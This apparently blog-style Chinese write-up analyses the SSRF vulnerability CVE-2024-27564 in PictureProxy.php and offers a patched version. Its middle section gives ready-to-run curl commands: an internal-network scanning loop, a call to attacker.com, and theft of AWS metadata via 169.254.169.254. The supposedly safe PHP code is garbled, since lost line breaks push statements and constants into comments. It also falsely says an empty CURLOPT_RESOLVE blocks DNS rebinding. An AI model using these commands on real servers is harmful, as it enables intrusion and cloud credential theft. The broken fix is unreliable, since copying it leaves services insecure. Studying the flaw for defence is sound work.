ChatGPT PictureProxy.php SSRF漏洞(CVE-2024-27564)深度解析与防护实践

1次阅读

共计 3355 个字符，预计需要花费 9 分钟才能阅读完成。

SSRF（Server-Side Request Forgery）是一种服务器端请求伪造漏洞，攻击者能够诱使服务器向内部或外部的任意系统发起恶意请求。这类漏洞的危害主要体现在：

可访问内部网络资源，绕过防火墙限制
可能造成敏感信息泄露（如云服务元数据）
可作为跳板实施进一步攻击
在某些配置下可能导致远程代码执行

在 Web 应用中，当服务端未对用户提供的 URL 进行严格校验时，就容易产生 SSRF 漏洞。ChatGPT 的 PictureProxy.php 组件正是由于缺乏足够的 URL 验证机制，导致了这个高危漏洞 (CVE-2024-27564) 的产生。

PictureProxy.php 的主要功能是代理获取并返回外部图片资源。其漏洞核心在于处理用户请求时的 URL 验证缺陷：

// 漏洞代码片段（简化版）$url = $_GET['url'];
$image = file_get_contents($url);
header("Content-Type: image/jpeg");
echo $image;

关键问题点：

直接使用用户输入的 URL 参数，未进行任何过滤
使用 file_get_contents 等函数时，支持多种协议（包括 file://, http://, https://, ftp:// 等）
无目标地址白名单验证机制
未对重定向进行限制

攻击者可以构造如下恶意请求：

GET /PictureProxy.php?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1

部署存在漏洞的 ChatGPT 版本
确保服务器可访问外部网络

基础 SSRF 测试：

curl 'http://victim.com/PictureProxy.php?url=http://attacker.com/'

内部网络探测（假设内网 IP 段为 192.168.1.0/24）：

for i in {1..254}; do 
  curl -s "http://victim.com/PictureProxy.php?url=http://192.168.1.$i" | grep -q "200 OK" && echo "192.168.1.$i is alive"
done

云服务元数据窃取（AWS 为例）：

curl 'http://victim.com/PictureProxy.php?url=http://169.254.169.254/latest/meta-data/'

输入验证：
严格校验 URL 格式
禁用危险协议（file://, gopher://, ftp:// 等）
白名单机制：
仅允许访问预定义的域名白名单
使用正则表达式严格匹配完整域名
网络层面防护：
配置出站防火墙规则
禁止访问内部 IP 段
限制请求目标端口（仅允许 80,443）
请求处理限制：
设置超时时间（<5 秒）
限制响应大小
禁用自动重定向

<?php
/**
 * 安全的图片代理服务
 * 修复 SSRF 漏洞的实现
 */
class SafeImageProxy {
    // 允许的域名白名单（正则表达式）const ALLOWED_DOMAINS = ['/^(www\\.)?example\\.com$/i',
        '/^cdn\\.example\\.net$/i'
    ];

    // 最大文件大小（2MB）const MAX_FILE_SIZE = 2097152;

    // 请求超时时间（秒）const TIMEOUT = 3;

    public static function getImage() {if (!isset($_GET['url']) || !self::validateUrl($_GET['url'])) {http_response_code(400);
            exit('Invalid URL');
        }

        $url = $_GET['url'];
        $imageData = self::fetchImage($url);

        if ($imageData === false) {http_response_code(502);
            exit('Failed to fetch image');
        }

        header("Content-Type: image/jpeg");
        echo $imageData;
    }

    private static function validateUrl($url) {
        // 基本 URL 格式检查
        if (!filter_var($url, FILTER_VALIDATE_URL)) {return false;}

        $parts = parse_url($url);

        // 仅允许 HTTP/HTTPS
        if (!in_array(strtolower($parts['scheme']), ['http', 'https'])) {return false;}

        // 检查目标端口
        if (isset($parts['port']) && !in_array($parts['port'], [80, 443])) {return false;}

        // 白名单验证
        $host = $parts['host'] ?? '';
        foreach (self::ALLOWED_DOMAINS as $pattern) {if (preg_match($pattern, $host)) {return true;}
        }

        return false;
    }

    private static function fetchImage($url) {$ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => false, // 禁用重定向
            CURLOPT_MAXREDIRS => 0,
            CURLOPT_TIMEOUT => self::TIMEOUT,
            CURLOPT_PROTOCOLS => CURLPROTO_HTTP | CURLPROTO_HTTPS,
            CURLOPT_RESOLVE => [], // 防止 DNS 重绑定攻击
            CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V4,
            CURLOPT_BUFFERSIZE => 8192,
            CURLOPT_NOPROGRESS => true,
            CURLOPT_SSL_VERIFYPEER => true
        ]);

        $data = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $contentType = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
        curl_close($ch);

        // 验证响应
        if ($httpCode !== 200 || !strstr($contentType, 'image/') || 
            strlen($data) > self::MAX_FILE_SIZE) {return false;}

        return $data;
    }
}

// 使用示例
SafeImageProxy::getImage();
?>